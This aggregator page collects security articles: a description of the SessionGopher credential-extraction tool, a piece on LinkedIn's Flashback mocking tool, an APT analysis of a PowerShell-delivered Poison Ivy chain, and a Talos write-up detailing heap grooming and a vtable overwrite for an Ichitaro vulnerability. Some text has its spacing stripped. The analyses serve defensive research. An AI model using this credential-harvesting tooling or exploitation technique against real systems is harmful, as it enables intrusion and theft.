北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以

加入QQ群:570982169

直接询问:010-68438880

SessionGopher Session Extraction Tool

$
0
0

SessionGopher is a PowerShell Session Extraction tool that uses WMI to extract saved session information for remote access tools such as WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop.


SessionGopher   Session Extraction Tool

The tool can find and decrypt saved session information for remote access tools. It has WMI functionality built in so it can be run remotely, its best use case is to identify systems that may connect to Unix systems, jump boxes, or point-of-sale terminals.

How it Works

SessionGopher works by querying the HKEY_USERS hive for all users who have logged onto a domain-joined box at some point. It extracts PuTTY, WinSCP, SuperPuTTY, FileZilla, and RDP saved session information. It automatically extracts and decrypts WinSCP, FileZilla, and SuperPuTTY saved passwords.

When run in Thorough mode, it also searches all drives for PuTTY private key files (.ppk) and extracts all relevant private key information, including the key itself, as well as for Remote Desktop (.rdp) and RSA (.sdtid) files.

Usage . .\SessionGopher.ps1 Invoke-SessionGopher -option -Thorough: searchesalldrivesfor PuTTYprivate key (.ppk), RemoteDesktopConnection (.rdp), and RSA (.sdtid) files. -o: outputsthedatato a folderof .csvfiles -iL: provide a filewith a listofhoststo runSessionGopheragainst, each hostseparatedby a newline. Providethepathto thefileafter -iL. -AllDomain: SessionGopherwillqueryActiveDirectoryfor alldomain-joinedsystemsand runagainstallofthem. -Target: a specifichostyouwantto target. Providethetargethostafter -Target.

You can download SessionGopher here:

SessionGopher.ps1

Or read more here .


Simulate the Internet with Flashback, a New WebDev Test Tool from LinkedIn

$
0
0

The internet is a harsh mistress. Sites go down, change without notice, or even just disappear entirely. The web ―are you sitting down? ―is not 100 percent reliable. This means that testing a project that has external dependencies, things can fail that aren’t even your bugs. What’s a software testing engineer to do?!

Make your own internet, that’s what. Or at least a network layer mocking system to take care of that outbound traffic, so there are no third party downtime network issues or other constraints that break your test. The software engineering team at the LinkedIn social networking service announced in a blog post Friday that they have done just that, building a new internet mocking tool called Flashback to remove that uncontrolled variable from the testing equation.

A variety of internet mocking tools is already available, of course. These work by intercepting HTTP connections initiated by a web application, and then later “replaying” them as needed. In other words, a mocking tool replaces any HTTP interaction with its previously recorded instance which can be reliably served as many times as necessary in testing.

The LinkedIn testing team, in fact, started out using Betamax , an open-source test automation tool that did just that. Shangshang Feng , a LinkedIn software engineer, said that there were many things the team liked about Betamax ―but that there were some capabilities they needed that it did not provide, particularly for service level integration testing. And so Feng, with colleagues Yabin Kang and Dan Vinegrad , drew upon Betamax’s open source roots to build a new network layer mocking system called Flashback.

Flashback is designed to mock HTTP and HTTPS resources, like web services and REST APIs, for testing purposes. It records HTTP/HTTPS requests and plays back a previously recorded HTTP transaction ― which in Flashback is called a “scene” ― so that no external internet calls are required during testing.


Simulate the Internet with Flashback, a New WebDev Test Tool from LinkedIn

“Imagine a standard LinkedIn profile page,” said Feng. “It requires more than 100 downstream dependency services to render. If you are testing only one tiny specification on this page, you really don’t want to rely on all those dependencies. Especially when some of these dependencies actually are eternal services from the internet, which you have no way to control.”

The best way to ensure a consistent testing environment, said Feng, is to mock up the dependencies. Going back to our LinkedIn profile page example, these pages use something called LinkedIn Ingestion Service to grab external content ―a YouTube video, say ― to enrich your LinkedIn profile. Typical three-tier architecture has a gateway service in the middle, Feng explained. “This is where Flashback fits in ―this middle layer that is working as a proxy. Our opportunity is to mock in this layer to test our Ingestion Service result without relying on the external providers.”

Flashback handles HTTP/HTTPS traffic, intercepts the request and response and stores them for “replay” as necessary. This completely isolated testing environment is Flashback’s main area of innovation over Betamax, but there’s more. Flashback also handles authentication calls from third party websites. “None of the other open source tools was doing that,” said Yabin Kang, another of Flashback’s architects. “When talking to the internet you always need to handle the authentication, and often some parameter in the request is different. So we wanted to give the user the ability to match this request exactly.”

HTTP requests generally contain a URL, method, headers, and body. Flashback allows match rules to be defined for any combination of these components. Flashback also allows users to add whitelist or blacklist labels to URL query parameters, headers, and the body.

Kang and Feng pointed to the following hypothetical OAuth authorization flow, the request query parameters may look like the following:

oauth_consumer_key="jskdjfljsdklfjlsjdfs",
oauth_nonce="ajskldfjalksjdflkajsdlfjasldfja;lsdkj",
oauth_signature="asdfjaklsdjflasjdflkajsdklf",
oauth_signature_method="HMAC-SHA1",
oauth_timestamp="1318622958",
oauth_token="asdjfkasjdlfajsdklfjalsdjfalksdjflajsdlfa",
oauth_version="1.0"

Many of these values will change with every request, since OAuth requires clients to generate a new value for oauth_nonce every time. “In our testing, we need to verify values of oauth_consumer_key, oauth_signature_method, and oauth_version while also making sure that oauth_nonce, oauth_signature, oauth_timestamp, and oauth_token exist in the request. Flashback gives us the ability to create our own match rules to achieve this goal,” the engineers wrote in the blog post announcing Flashback’s release. “This feature lets us test requests with time-varying data, signatures, tokens, etc. without any changes on the client side.”

The LinkedIn team is excited to offer Flashback as an open source tool for any test team that may find it of use. Flashback is written in Java but can support any environment using HTTP service. Feng first presented the proof of concept for Flashback at the 2015 Google Test Automation Conferenceand was approached afterward by multiple people asking if the project would be open source. “Initially I thought this would only be usefully internally at LinkedIn, but these audience members made me realize this is a testing scenario that many companies would have a use for,” said Feng.

The team refined Flashback over the course of 2016, culminating in today’s release. The ultimate question, of course, is “how does this make my life better as a developer?”

The LinkedIn team reports that Flashback now helps them release faster. The company has a longstanding commitment to making their testing environment as automated as possible, and “an aggressive testing philosophy” geared to rapid deployment of new code. “When we can do continuous integration within reliable test infrastructure, then we know if everything passed ― our service is doing fine, and we can quickly and confidently deploy that new version,” said Feng.

For instance, said Feng, “We used to get data, content, directly from, say, YouTube. Sometimes things would change from the source ―different title or other changes. And that would cause a failure that had nothing to do with our code.”

Flashback, he said, can be used just like a testing framework for. “After setup, everything you used to have to do, writing tests old style to get data from YouTube, is now handled by Flashback.”

With one significant added bonus, Feng added: “Now, in integration testing, you know your ‘external’ responses are going to be served reliably and consistently.”

Feature Image: (Left to right) Shangshang Feng, Daniel Vinegard, Yabin Kang (courtesy LinkedIn.)

【APT报告】日本发布来自亚洲某国的APT样本分析

$
0
0
【APT报告】日本发布来自亚洲某国的APT样本分析

2017-03-21 15:54:32
来源:0day.jp 作者:myswsun

阅读:2056次
点赞(0)
收藏





【APT报告】日本发布来自亚洲某国的APT样本分析

翻译:myswsun

稿费:200RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 背景

VXRL联系我们,有关于一个APT钓鱼邮件,其包含了一个指向位于Geocities网站上的一个恶意软件的下载链接。

样本和证据。


【APT报告】日本发布来自亚洲某国的APT样本分析

因为我们认为它是一个APT攻击,所以我们不能披露所有的邮件内容。

在讨论这个恶意软件之后,很多信息不清楚。我检查了特征检测率,结果没有检测到。没有明确的证据,Geocities就不会做任何事,我决定逆向这个APT。

这里是我分析的一些结果,请用它来移除这个恶意软件。

从URL看,这个恶意软件位于Geocities日本网站上,Geocities不是恶意软件或恶意网站,但是一个免费的博客网站。


【APT报告】日本发布来自亚洲某国的APT样本分析

账户“vbiayay1”被用于托管真实的恶意样本。

恶意软件的文件内容是一个编码的VBScript脚本。


【APT报告】日本发布来自亚洲某国的APT样本分析

这是一个惊讶的时刻,我第一次从Geocities.jp中看见这种类型,并且这个文件看起来非常可疑,因此我决定进一步分析。

VBScript是VisualBasic的一个子集,对于使用VB编程和VBA宏编程的人来说这个非常熟悉。然而VBScript被设计用于在浏览器内执行,且只能调用基本的函数(如文件访问和打印)。微软VBScript能在windows Script Hsost或者PowerShell中执行。


0x01 马拉松式的base64逆向分析

首先,我手动解码了VBScript脚本,得到下面的代码:


【APT报告】日本发布来自亚洲某国的APT样本分析

这段代码通过创建Windows Script Host VBScript对象并运行PowerShell.exe:

powershell.exe-whidden-epbypass-Encetcetc.

继续解码,得到下面的脚本。


【APT报告】日本发布来自亚洲某国的APT样本分析

再一次得到一个VBScript,这个脚本创建一个web客户端对象,且使用代理设置,并从URL下载执行一个文件。

这将打开一个.doc文档。


【APT报告】日本发布来自亚洲某国的APT样本分析

然后,通过使用Invoke-Expression命令在Windows PowerShell下执行一个脚本,并从另一个URL下载执行一个.ps1文件。

让我们再深入ps1文件。


【APT报告】日本发布来自亚洲某国的APT样本分析

还是一个base64编码的代码,它使用Invoke-Expression命令来解码。

看起来很像base64编码,因此我们继续手动解码base64.


【APT报告】日本发布来自亚洲某国的APT样本分析

上面是解码的代码,但是它是另一个base64编码的代码。

然而,他最终揭示了一些感染代码,真实的payload在这个base64代码中。

这段代码揭示了32位和64位的感染向量,它通过一个假的安全更新服务进程隐藏自己,并使用powershell.exe来执行Invoke-Expression解码的base64代码。

好了,再次回到base64解码。

解码得到两个函数和一段shellcode。


【APT报告】日本发布来自亚洲某国的APT样本分析

【APT报告】日本发布来自亚洲某国的APT样本分析

【APT报告】日本发布来自亚洲某国的APT样本分析

上面的代码很容易理解。它解释了powershell怎么被用来作为一个致命的攻击向量,以便进程注入,并且它都在一个脚本中完成。


0x02 拷贝/粘帖 PowerSploit/CodeExecution PoC

上部分看起来很熟悉,在搜索MalwareMustDie的推特后,发现了PowerSploit/CodeExecution PoC代码。


【APT报告】日本发布来自亚洲某国的APT样本分析

0x03 Shellcode

这个样本主要的payload是PowerSploit/CodeExection的复制粘帖,shellcode和多层base64编码是这个样本的根本。

为了揭示真实的shellcode,我们已经解码了剩余的base64编码。

$Shellcode=[System.Convert]::FromBase64String($Shellcode32)

解码完成后,shellcode头分析如下:


【APT报告】日本发布来自亚洲某国的APT样本分析

我们可以逆向它,然而需要花费一些时间。


【APT报告】日本发布来自亚洲某国的APT样本分析

结果看起来像我们需要的,XOR,密钥0xe9和字节长度0x2183


【APT报告】日本发布来自亚洲某国的APT样本分析

我用这个shellcode创建了一个PE文件。

将这段shellcode保存在.text节中,并调整入口点为shellcode,因此你能作为一个二进制PE文件执行shellcode。这个方法在分析shellcode时很常用。并且在Unix环境中创建PE文件,还免除感染的风险。


【APT报告】日本发布来自亚洲某国的APT样本分析

通过使用gcc或者nasm,编译PE文件。


【APT报告】日本发布来自亚洲某国的APT样本分析

因此我们现在能进一步分析代码和恶意行为。

事实证明,样本进行了很多恶意行为操作,shellcode提取受害者的信息并传回C&C服务器。

Payload的详细行为完整成文需要花费很多的时间,在这里我贴出了手稿以展示payload的行为。


【APT报告】日本发布来自亚洲某国的APT样本分析

0x04 Poison Ivy

Shellcode使用很多系统调用,因此shellcode有点大。

下图是我从列出的DLL调用。


【APT报告】日本发布来自亚洲某国的APT样本分析

在跟踪分析shellcode的第一个阶段我注意到了这是一个“Poison Ivy”:


【APT报告】日本发布来自亚洲某国的APT样本分析

如你所见,一个假的userinit.exe进程被创建,且在这个进程中注入恶意代码并执行。受害者将看到一个假的userinit.exe进程在做坏事。这是一个典型的Poison Ivy模式。而且,DLL的组合使用也显示了这种威胁的典型模式。在互斥量名字中时间戳也经常被Poison Ivy使用。

让我们破解更多信息:


【APT报告】日本发布来自亚洲某国的APT样本分析

你能看到这个userinit.exe创建Plug1.cat文件。它通过socket做更多事,且通过HKEY_LOCAL_MACHINE\SYSTEM\Setup SystemSetupInProgress查询PC信息,稍后我们将看到设置的值。

到了这里,毫无疑问这是一个Poison Ivy。


0x05 C&C和网络流量

因为时间限制,让我们忽略一些小细节,主要关注感兴趣的WS2_32.dll。它包含了socket(),gethostbyname(),和connect()调用。这些揭示了主机名和IP地址,及一些次要信息。

IP地址是韩国的拨号IP地址。


【APT报告】日本发布来自亚洲某国的APT样本分析

网络/BGP信息:61.97.243.15||4766 | 61.97.243.0/24 | KIXS-AS | KR | kisa.or.kr | KRNIC

因此黑客利用另一个国家作为C&C服务器,我们继续看:

主机名:web.outlooksysm.net


【APT报告】日本发布来自亚洲某国的APT样本分析

下面是域名的WHOIS信息:

DomainName:outlooksysm.net RegistryDomainID:10632213 RegistrarWHOISServer:grs-whois.cndns.com RegistrarURL:http://www.cndns.com UpdatedDate:2016-05-27T11:24:02Z CreateDate:2016-05-27T11:19:45Z RegistrarRegistrationExpirationDate:2017-05-27T11:19:45Z Registrar:SHANGHAIMEICHENGTECHNOLOGYINFORMATIONDEVELOPMENTCO.,LTD. RegistrarIANAID:1621 RegistrarAbuseContactEmail:domain@cndns.com RegistrarAbuseContactPhone:+86.2151697771 Reseller:(null) DomainStatus:okhttps://icann.org/epp#ok RegistryRegistrantID: RegistrantName:LiuYing RegistrantOrganization:LiuYing RegistrantStreet:NanAnShiJingHuaLu88Hao RegistrantCity:NanAnShi RegistrantState/Province:FuJian RegistrantPostalCode:009810 RegistrantCountry:CN RegistrantPhone:+86.13276905963 RegistrantPhoneExt: RegistrantFax:+86.13276905963 RegistrantFaxExt: RegistrantEmail:missliu6@sina.com

因此我们知道了黑客来自哪里。

只分析代码不够证据,我需要一种安全的方式来执行PE文件,以获得更多的行为分析。这样我就能捕获到C&C流量。


【APT报告】日本发布来自亚洲某国的APT样本分析

在流量中,发送了我的PC信息


【APT报告】日本发布来自亚洲某国的APT样本分析

第一个传输的是256字节的数据,看起来很有趣。


【APT报告】日本发布来自亚洲某国的APT样本分析

因此,通过一些参考发现这256字节的传输流量模式属于Poison Ivy远控。


【APT报告】日本发布来自亚洲某国的APT样本分析

Poison Ivy,也被称为PIVY,是一个RAT,它是一个后门型恶意程序。很多间谍相关的恶意软件在APT中使用它。


0x06 总结

这个APT活动利用很多变种,来使得受害者下载一个恶意的VBScript,其会下载一个二级的.doc文件并打开它。在这之后它静默执行一个PowerSploit攻击以使用在进程内存中运行的Poison Ivy感染受害者电脑。这是个特别的实例,一个修改版的PowerSploit PoC代码被用在APT攻击中,显示了这种攻击的潜在威胁。

这个APT活动利用Geocities网站的多个帐号,使得进行大规模的APT活动成为可能。这种攻击首先在日本发现,且在和我朋友讨论过后,一些研究者把它命名为“Free Hosting(pivoted)APT PowerSploit Poison Ivy”(FHAPPI)。


0x07 样本

我一直都这么做,我将只分享一些样本的哈希值。

一旦我完成了,我将增加一些VT URLs。

1.MD5(Meeting_summary.doc)=0011fb4f42ee9d68c0f2dc62562f53e0 2.MD5(johnts0301.ps1)=b862a2cfe8f79bdbb4e1d39e0cfcae3a 3.MD5(Meeting_summary.doc)=0011fb4f42ee9d68c0f2dc62562f53e0 4.MD5(johnts0301.ps1)=b862a2cfe8f79bdbb4e1d39e0cfcae3a 5.MD5(johnts0301.wsc)=7c9689e015563410d331af91e0a0be8c 6.MD5(shellcode-bin)=cb9a199fc68da233cec9d2f3d4deb081 7.MD5(stupid-shellcode.exe)=661d4e056c8c0f6804cac7e6b24a79ec Othersamples.(credit:SyotaShinogi) MD5(f0921.ps1)=e798a7c33a58fc249965ac3de0fee67b

0x08 更新

找到其他的Geocities账户

感谢Syota Shinogi的帮助,他进一步研究发现了另一个Geocities账户。

它使用相同的PowerSploit shellcode和蒙古语的doc文件,可能目标是蒙古相关的。


【APT报告】日本发布来自亚洲某国的APT样本分析

【APT报告】日本发布来自亚洲某国的APT样本分析

文件名包含APT信息

URL和攻击活动相关的信息:


【APT报告】日本发布来自亚洲某国的APT样本分析

这表明了攻击日期,目标ID和一些版本信息。

APT恶意文件的删除过程

在雅虎应急响应组织、JP-CERT/CC和日本其他一些安全机构的帮助下文件被成功删除。

下面是删除的文件。


【APT报告】日本发布来自亚洲某国的APT样本分析

目标蒙古的APT活动

用户gxpoy6包含了以蒙古为目标的APT攻击的数据。从它开始的时间为去年9月看,感染向量是相同的。许多工件和网络特征已经消失了,但是我们能分析下这个并作进一步对比。

第一个安装脚本没有使用base64混淆。

它使用VBScript但是不编码,且直接执行powershell.exe,然而执行进程自己和上面是相同的。


【APT报告】日本发布来自亚洲某国的APT样本分析

通过powershell.exe执行的编码的命令行有相同的格式。


【APT报告】日本发布来自亚洲某国的APT样本分析

蒙古语的文档


【APT报告】日本发布来自亚洲某国的APT样本分析

还是使用PowerSploit注入恶意软件到内存中,没有改变。


【APT报告】日本发布来自亚洲某国的APT样本分析

Shellcode设计的有点不同


【APT报告】日本发布来自亚洲某国的APT样本分析

蒙古相关的活动也使用了XOR,但是密钥(“0xd4”)不同,字节长度还是0x2183.


【APT报告】日本发布来自亚洲某国的APT样本分析

C&C服务器还是在中国,主机名稍后公布。


【APT报告】日本发布来自亚洲某国的APT样本分析

IP/BGP信息:116.193.154.28 | 116-193-154-28.pacswitch.net. | AS4766 | JIULINGQIHANG-CN | CN (Room 413, No.188, Dong Han Men Nan Lu, CHINA)


【APT报告】日本发布来自亚洲某国的APT样本分析
【APT报告】日本发布来自亚洲某国的APT样本分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.0day.jp/p/english-report-of-fhappi-freehosting.html

【漏洞分析】日版WPS远程代码执行漏洞详细分析

$
0
0
【漏洞分析】日版WPS远程代码执行漏洞详细分析

2017-03-21 14:57:46
来源:talosintelligence.com 作者:啦咔呢

阅读:1330次
点赞(0)
收藏





【漏洞分析】日版WPS远程代码执行漏洞详细分析

翻译:啦咔呢

稿费:200RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


概述

文字处理和办公产品中的漏洞是威胁行为者进行漏洞利用的有用目标。用户经常在日常生活中遇到这些软件套件所使用的文件类型,并且可能在电子邮件中打开这样的文件,或者被提示从网站下载这样的文件时并不会产生怀疑。

一些文字处理软件在使用特定语言的社区中被广泛使用,但在其他地方却鲜为人知。例如,Hancom的韩文字处理工具在韩国广泛使用,来自JustSystems的Ichitaro办公套件广泛应用于日本和说日语的社区。利用这些软件和与其相类似的文字处理系统中的漏洞,攻击者可以将攻击目标定位到特定国家或其预期受害者的语言社区。据推测,攻击者可能相信,对这些系统的攻击有可能不太会被安全研究人员发现,因为他们可能缺乏漏洞利用所必需的软件。

近来,Talos发现2了一个利用韩文字处理工具的复杂攻击http://blog.talosintelligence.com/2017/02/korean-maldoc.html,其中强调攻击者拥有可以创建出一种恶意文件的必要技术,而这种恶意文件旨在瞄准当地的办公软件套件。

Talos在Ichitaro Office套件中发现了三个漏洞,而这款软件是日本最流行的文字处理程序之一。

没有迹象表明, 我们在Ichitaro Office套件中发现的三个漏洞中的任何一个已经在野外被利用。然而,这三种漏洞都可以造成一种任意代码执行。我们选择了这些漏洞中的一个来更详细地解释如何利用这样的漏洞,并通过启动calc.exe来演示远程代码执行的意义。

有关此特定漏洞的建议,请访问http://www.talosintelligence.com/reports/TALOS-2016-0197


深入探究 - TALOS-2016-0197(CVE-2017-2790) - JUSTSYSTEMS ICHITARO OFFICE EXCEL文件代码执行漏洞

此漏洞围绕一个未检查的整数下溢问题,该问题是因为Ichitaro处理XLS文件工作簿流内的类型为0x3c的记录时未严格检查其长度。

在读取下一个记录(类型0x3c)时,应用程序计算需要复制到内存中的字节数。此计算涉及到了从文件本身读取到的值中减去一个值,进而导致整数下溢。

JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4b1e: 44b48cda8b461emoveax,dwordptr[esi+1Eh]//下一条记录的文件数据 44b48cdd668b4802movcx,wordptr[eax+2]//取自文件的记录长度(inourcase0) ... 44b48ce46649deccx//0下溢为0xffff ... 44b48ce8894d08movdwordptr[ebp+8],ecx//保存数值0xffff后面使用

之后在相同的函数中,这个下溢值被传递到处理文件数据复制的函数中。

JCXCALC!JCXCCALC_Jsfc_ExConvert + 0xa4b46:

44b48d040fb75508movzxedx,wordptr[ebp+8]//将0xffff存储到edx ...... 44b48d1f52pushedx//压入长度 44b48d2051pushecx//压入目的地址 44b48d2183c005addeax,5 44b48d2452pushedx//压入长度 44b48d2550pusheax//压入源地址 44b48d26e8c5f7ffffcallJCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334(44b484f0)

主要的拷贝函数确实有一个检查,以确保长度大于零。下溢的数值在雷达下飞行,并通过所有检查。下面是使用相关变量名注释的拷贝函数。注意,由于在上述程序集中压入相同的寄存器,下面C代码中的size和size_是相等的。

intJCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4334(intsrc,intsize,intdst,intsize_) { intresult; result=0; if(!size_) returnsize; if(size>size_) return0; if(size>0) { result=size; do { *dst=*src++; ++dst; --size; } while(size); } returnresult; }

dst地址是要分配的内存,其大小也取自文件中的TxO记录(类型0x1b6)。此大小在传递到malloc之前要先乘以2。

JCXCALC!JCXCCALC_Jsfc_ExConvert+0xa4a1c: 442c8bd8668b470emovax,wordptr[edi+0Eh]//来自TxO元素的大小 442c8bdc50pusheax 442c8bdde88b87f6ffcallJCXCALC!JCXCCALC_Jsfc_ExConvert+0xd1b1(4423136d) JCXCALC!JCXCCALC_Jsfc_ExConvert+0xd1b1: 4423136d0fb7442404movzxeax,wordptr[esp+4] 44231372d1e0shleax,1//攻击者大小*2 4423137450pusheax 44231375ff1580d42f44callds:malloc//受控malloc 4423137b59popecx 4423137cc3ret

总而言之,该漏洞向攻击者提供了以下结构:

*内存分配长度为受控值乘以2 *memcpy进入了长度为0xffff的内存分配中,该值是从攻击者控制的文件数据中获取的

覆盖目标

如果我们想在windows 7上利用此漏洞,现在的问题就变成了,使用memcpy覆盖的最好目标是什么?一个办法可能是尝试使用虚函数覆盖对象的vtable,这样我们可以使用用户控制的指针来控制程序计数器。

为了使上述变得可行,我们的对象需要使用以下参数创建:

*对象必须以可预测的大小分配到堆的区域 *对象必须使用虚函数并具有虚表(vtable)。 *对象必须在覆盖发生后被销毁。

XLS文件由多个文档流组成,其中每个流都分为不同的记录。每个记录可以被描述为类型 - 长度 - 值(TLV)结构。这意味着每个记录将在前几个字节中指定其类型,随后是记录的长度,最后是包含在记录中由长度指定的字节数据。

一个小图如下所示:

+------+--------+------------+ |类型|长度|值| +------+--------+------------+ structRecord{ uint16_ttype; uint16_tlength; byte[length]value; }}

作为示例,以下是类型为0x3c包含0xdeadbeef值的记录(长度是4,因为0xdeadbeef是4字节)。

+--------+--------+------------+ |类型|长度|值| +--------+--------+------------+ |0x003c|0x0004|0xdeadbeef| +--------+--------+------------+ <classexcel.RecordGeneral> [0]<instanceuint2'type'>+0x003c(60) [2]<instanceuint2'length'>+0x0004(4) [4]<instanceContinue'data'>“\xad\xde\xeb\xfe”

然后解析器将遍历流中的所有记录,然后基于记录所描述的类型和值来解析每个记录。由于我们目标记录的第三个约束,我们需要一个在解析期间使用vtable创建一些对象的类型,但是直到解析整个流后的某个阶段也不会释放该对象。

在研究了应用程序能够解析的各种类型记录后,发现Row记录具有以下属性:

*分配大小为0x14的数据结构 *此元素的对象包含一个vtable *该元素的对象在EOF记录的解析期间通过调用其虚析构函数被销毁。

这意味着攻击者可以构造一个文件,其包含Row记录,和一些其他特定记录用以精确控制内存,然后覆盖Row记录的vtable。在此之后,他们可以结束一个EOF记录,该记录将调用属于Row记录的vtable。

此时的计划是定位我们从先前分配的Row对象之前的TxO记录覆盖位置,以便使用它来覆盖Row对象的vtable。

为了将攻击者控制的元素放置在Row记录之前,需要执行Windows 7低碎片堆的利用。下面描述简化说明。


低碎片堆

Windows 7组织涉及到PEB的堆内存并同时使用两种分配器。其中一个是后端,另一个是前端。前端堆是基于竞争的分配器,称为低碎片堆(LFH)。这主要在Chris Valasek关于低碎片堆的论文中有所记录:http://illmatics.com/Understanding_the_LFH.pdf

LFH的一个重要特性是,分配的堆块是8的倍数。一旦进行堆分配,它的长度会除以8,然后用于确定从哪个内存段返回堆块。一旦片段被标识,内存段内的指针实际将指向根据该长度返回的堆块。这意味着分配给Row对象(0x14)的空间将向上取整为桶的长度0x18。对于桶长度0x18,在竞争场里有255个可用的槽位。

内存段

+-------+-------+--------------------------------+-----------+-------+ |...|竞争场|AggregateExchg.FreeEntryOffset|块长度|...| +-------+-------+--------------------------------+-----------+-------+ 竞争场 +-----------------+-----+-----------+---------+---------+------------+ |段指针|...|签名|块1|块2|块X...| +-----------------+-----+-----------+---------+---------+------------+

LFH的另一个重要特性是,直到目标应用程序的分配遵循特定模式才实际使用它。直到发生这种情况,分配器将使用后端分配器。为了确保LFH堆被用于特定的桶长度,目标应用程序必须进行相同长度的0x12(18)分配。一旦完成,那么将使用前端分配器来分配所有该长度的内存。发现Palette记录是非常灵活的,可以用来做任意永远不会释放的分配。启用桶的LFH的步骤如下:

*使用Palette记录分配相同大小的0x12内存。 *分配255个内存强制使分配器分配一个新的段。

(注意:这可以合并为255-0x12的分配。)

当第一次分配段时,平台将用一个到竞争场的偏移量初始化内存段,其确定了返回的第一个块。当分配内存段的竞争场时,每个块预先写有表示到要返回的下一个堆块偏移的16位偏移(FreeEntryOffset)。当进行分配时,将从竞争场中的下一空闲块开头读取16位偏移并存储在段内。块中的16位偏移将被覆盖,因为它是应用程序所请求分配的一部分。

竞争场 - 开始

+----------------+--------------------+----------------+----------------+ |块1(占用)|块2(空闲)|块3(空闲)|块X(空闲)| |数据:...|FreeEntryOffset:3|FEO:4|FEO:X+1| +----------------+--------------------+----------------+----------------+

这样,当做出另一个分配时,分配器将在段中设置FreeEntryOffset,其中正在分配的块中的FreeEntryOffset使得在下一个分配期间它将知道要返回的下一个块位置。当分配块时,在要返回的块中的偏移和位于段内的偏移之间执行原子交换操作。这防止当多个线程从相同的段/场地分配时的并发问题。

状态0-开始 下一个槽位:3 当前加载到内存段的块3的偏移 v +--------------------+--------------------+----------------------+ |块3(空闲)|块4(空闲)|块X(空闲)| |FreeEntryOffset:4|FreeEntryOffset:5|FreeEntryOffset:X+1| +--------------------+--------------------+----------------------+ 状态1-malloc 返回槽位3。将FreeEntryOffset从块3加载到内存段中。 下一个槽位:4 现在是加载到内存段的块4偏移 v +----------------+--------------------+----------------------+ |块3(占用)|块4(空闲)|块X(空闲)| |数据:...|FreeEntryOffset:5|FreeEntryOffset:X+1| +----------------+--------------------+----------------------+ 状态2-malloc 返回槽4.将FreeEntryOffset从块4加载到内存段中。 下一个槽位:5 块5的偏移量被加载到段中 v +----------------+----------------+----------------------+ |块3(占用)|块4(占用)|块X(空闲)| |数据:...|数据:...|FreeEntryOffset:X+1| +----------------+----------------+----------------------+<

偏移被写入与返回内存块相同的内存区域中,因此当内存块被应用程序使用时,它们将被应用程序存储到内存块的数据覆盖。由于这些偏移在分配之前被缓存在竞争场内的空闲块内,所以这些值可以被覆盖,用以欺骗分配器返回竞争场中任何位置的内存块。TxO记录用于覆盖由每个块保持的偏移,以欺骗分配器返回攻击者选择的槽位。

状态0-开始 下一个槽位:4 v +----------------+--------------------+--------------------+ |块3(占用)|块4(空闲)|块5(空闲)| ||FreeEntryOffset:5|FreeEntryOffset:6| +----------------+--------------------+--------------------+ 状态1-TxO记录 返回槽位3.将来自块3的FreeEntryOffset(4)加载到内存段中。 下一个槽位:4 v +----------------+------------------+--------------------+ |块3(占用)|块4(占用)|块5(空闲)| ||数据:TxORecord|FreeEntryOffset:6| +----------------+------------------+--------------------+ 状态2-TxO覆盖FreeEntryOffset 此时,下一个块的FreeEntryOffset将被XXX覆盖。 在这个例子中,我们将使用3来返回第3块 v +----------------+------------------+----------------------+ |块3(占用)|块4(占用)|块5(空闲)| ||数据:TxORecord|FreeEntryOffset:XXX| ++-------------------->| +----------------+------------------+----------------------+ 状态3-malloc 分配器将返回块5,因为它是下一个块。 块5中的FreeEntryOffset将被加载到段中用于下一次分配。 如果TxO记录用3覆盖这个值,这将意味着块3将作为下一个块返回。 v +----------------+------------------+----------------+ |块3(占用)|块4(占用)|块5(占用)| ||数据:TxORecord|数据:...| ++-------------------->| +----------------+------------------+----------------+ 状态4-malloc 返回块3.块3中的第一个16位字也将被加载到内存段。 +----------------+------------------+----------------+ |块3(占用)|块4(占用)|块5(占用)| ||数据:TxORecord|数据:...| +----------------+------------------+----------------+

这使攻击定位在最佳情况下,以覆盖在进程时间线内较早分配的对象。以下步骤可用于定位在Row对象的前面TxO缓冲区,以覆盖其vtable。

*使用TxO记录使大小为0x18的分配与Row对象处于同一个竞争场。 *溢出TxO记录以覆盖FreeEntryOffset。 *分配Row对象。这将强制覆盖的FreeEntryOffset加载到内存段中。 *分配相同大小的另一个TxO记录,它将位于Row对象的前面。 *将TxO记录溢出到包含Row对象的块中,以便控制其vtable。

发生这种情况后,解析最后一个EOF记录将导致Row对象的vtable可被取值,以便为Row对象调用析构函数。

0:000>r eax=deadbeebebx=ffffffffecx=045d7d88edx=0000ffffesi=00127040edi=00000000 eip=3f7205c7esp=00126fdcebp=00127028iopl=0nvupeiplnznaponc cs=001bss=0023ds=0023es=0023fs=003bgs=0000efl=00010202 JCXCALC!JCXCCALC_Jsfc_ExConvert+0x9c40b: 3f7205c7ff5004calldwordptr[eax+4]ds:0023:deadbeef= 0:000>.logclose 0:000>dcecx 045d7d88deadbeeb646464646464646464646464dddddddddddddddd 045d7d9864646464646464646464646464646464dddddddddddddddd 045d7da864646464646464646464646464646464dddddddddddddddd 045d7db864646464646464646464646464646464dddddddddddddddd 045d7dc864646464646464646464646464646464dddddddddddddddd 045d7dd864646464646464646464646464646464dddddddddddddddd 045d7de864646464646464646464646464646464dddddddddddddddd 045d7df864646464646464646464646464646464dddddddddddddddd

攻击者现在正在控制一个被调用的函数指针。


代码执行

看看崩溃的情况,攻击者控制一个被调用的指针,ecx的内容指向一个攻击者控制的缓冲区。为了实现代码执行,必须进行ROP gadget搜索以寻找stack pivot。目标是攻击者控制EIP并使堆栈指向攻击者控制的数据。幸运的是,以下模块在进程空间中,不受ASLR影响。

